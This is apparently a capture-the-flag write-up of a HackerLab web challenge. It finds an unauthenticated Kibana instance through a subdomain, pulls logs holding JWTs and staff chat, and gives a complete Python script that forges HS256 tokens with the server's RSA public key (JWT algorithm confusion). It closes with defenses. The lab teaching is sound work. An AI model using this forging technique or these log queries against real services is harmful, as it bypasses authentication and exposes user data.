Хьюстон, у нас течь (Houston, We Have a Leak)
Хьюстон, у нас течь (Houston, We Have a Leak)
Platform: hackerlab | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-01-15 | Status: Solved Techniques: elk_stack_enumeration, hmac_with_public_key, jwt_algorithm_confusion, subdomain_discovery
Summary
Хьюстон, у нас течь — HackerLab
Description
Вы наткнулись на сайт компании "CyberCorp" — разработчика софта для кибербезопасности. Пройдите авторизацию и заберите флаг.
- IP: 62.173.140.174:16108
- Host: cybercorp.ctf
Analysis
Reconnaissance
- Main CyberCorp page with company and employee information
/loginpage for authentication/profilepage requires JWT token (cookie "token")/aboutpage contains a hint: "Details can be found in internal logs"
Kibana Discovery
When checking various Host headers, discovered subdomain logs.cybercorp.ctf which redirects to Kibana (ELK Stack):
bash read-only • copy allowedcurl -s -I -H "Host: logs.cybercorp.ctf" http://62.173.140.174:16108/ # HTTP/1.1 302 Found # location: /spaces/enter # kbn-name: 733da891f0c5
Kibana 7.17.0 is accessible without authentication!
Elasticsearch Log Analysis
Via Kibana API, gained access to the cybercorp-logs index:
bash read-only • copy allowedcurl -s -H "Host: logs.cybercorp.ctf" -H "kbn-xsrf: true" -H "Content-Type: application/json" \ "http://62.173.140.174:16108/internal/search/es" -X POST \ -d '{"params":{"index":"cybercorp-logs","body":{"query":{"match_all":{}},"size":100}}}'
Found:
-
User JWT tokens (all expired):
- natalia.morozova (employee)
- olga.smirnova (user)
- sergey.ivanov (employee)
- and others...
-
Employee chat with key hints:
ekaterina.ivanova: Привет, aleksandr.morozov, ты в курсе, что новая система авторизации принимает токены и с HS256, и с RS256? Это нормально?aleksandr.morozov: Привет, да, это для обратной совместимости сделали. HS256 использует SECRET_KEY, и публичный ключ. Думаю, всё ок.
-
Public key: message pointed to
/keys/public.pem
Obtaining the Public Key
bash read-only • copy allowedcurl -s -H "Host: cybercorp.ctf" http://62.173.140.174:16108/keys/public.pem
RSA public key (2048 bit):
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAsWf893QPffBxTpySt2KW
sDTmD2Ftb4kwXxTbFSCnBZSWfasNqkxt2+bIJvlMFcjm2Ee7PNMoPv4d+/h81nLv
lfOQIOE7kbfoqvLx0jtbQU2Sa1cUP57BjP96jgiJWtj6U3LecbwFqyT/WlpSTA22
6Mad2s3SdoWeDjGR6XT4LxlYIJ2a/gHv30nY73V7WJ0NEIBFromw4hk7ub98gsVg
8zYQfEz04yIN5g8jbu6fG/EZmgENYdc05jQ26kkABweK3UmvzCIgZpwkb6x5Qz7b
n+ML8/Q/7H57O/KG7Os4h5M0hbQBYOvz7l8Ln8mMwjPcetD5+DoT58DR/ywzZZAJ
nwIDAQAB
-----END PUBLIC KEY-----
Vulnerability: JWT Algorithm Confusion (CVE-2016-10555)
From the hints in the logs, it's clear that:
- The server accepts both RS256 and HS256
- For HS256, the public key is used as the secret
This is a classic Algorithm Confusion Attack:
- RS256 uses asymmetric cryptography (private key for signing, public key for verification)
- HS256 uses a symmetric secret (same key for signing and verification)
- If the server accepts both algorithms and uses the public RSA key to verify HS256, an attacker can sign a token with the public key
Solution
python read-only • copy allowed#!/usr/bin/env python3 """ JWT Algorithm Confusion Attack (CVE-2016-10555) HackerLab: Хьюстон, у нас течь """ import hmac import hashlib import base64 import json PUBLIC_KEY = """-----BEGIN PUBLIC KEY----- MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAsWf893QPffBxTpySt2KW sDTmD2Ftb4kwXxTbFSCnBZSWfasNqkxt2+bIJvlMFcjm2Ee7PNMoPv4d+/h81nLv lfOQIOE7kbfoqvLx0jtbQU2Sa1cUP57BjP96jgiJWtj6U3LecbwFqyT/WlpSTA22 6Mad2s3SdoWeDjGR6XT4LxlYIJ2a/gHv30nY73V7WJ0NEIBFromw4hk7ub98gsVg 8zYQfEz04yIN5g8jbu6fG/EZmgENYdc05jQ26kkABweK3UmvzCIgZpwkb6x5Qz7b n+ML8/Q/7H57O/KG7Os4h5M0hbQBYOvz7l8Ln8mMwjPcetD5+DoT58DR/ywzZZAJ nwIDAQAB -----END PUBLIC KEY-----""" def b64url_encode(data): """Base64 URL-safe encoding without padding""" if isinstance(data, str): data = data.encode() return base64.urlsafe_b64encode(data).rstrip(b'=').decode() # Create JWT with HS256 and an existing user header = {"alg": "HS256", "typ": "JWT"} payload = { "user": "aleksandr.morozov", # Existing user from logs "role": "employee", # Existing role "exp": 9999999999 # Far future } # Encode header and payload header_b64 = b64url_encode(json.dumps(header, separators=(',', ':'))) payload_b64 = b64url_encode(json.dumps(payload, separators=(',', ':'))) message = f"{header_b64}.{payload_b64}" # Sign with public key as HMAC secret signature = hmac.new( PUBLIC_KEY.encode(), message.encode(), hashlib.sha256 ).digest() signature_b64 = b64url_encode(signature) # Assemble the token token = f"{message}.{signature_b64}" print(f"Forged JWT: {token}") # Usage: # curl -s -H "Host: cybercorp.ctf" -H "Cookie: token=<token>" http://62.173.140.174:16108/profile
Important: You need to use an existing user with an existing role (employee), not try to create admin.
Getting the Flag
bash read-only • copy allowedcurl -s -H "Host: cybercorp.ctf" -H "Cookie: token=<forged_token>" http://62.173.140.174:16108/profile
Vulnerability Chain
- Information Disclosure - Kibana accessible without authentication via subdomain
logs.cybercorp.ctf - Sensitive Data Exposure - JWT tokens and internal correspondence in Elasticsearch logs
- JWT Algorithm Confusion (CVE-2016-10555) - server accepts HS256 with public RSA key as secret
Defense
- Strictly specify the algorithm when verifying JWT, don't trust the
algheader - Separate keys for different algorithms
- Protect Kibana with authentication
- Don't log JWT tokens and sensitive data
- Use libraries with algorithm confusion protection (e.g.,
pyjwt>=2.4.0)
References
- CVE-2016-10555
- JWT Algorithm Confusion - PortSwigger
- Auth0: Critical vulnerabilities in JSON Web Token libraries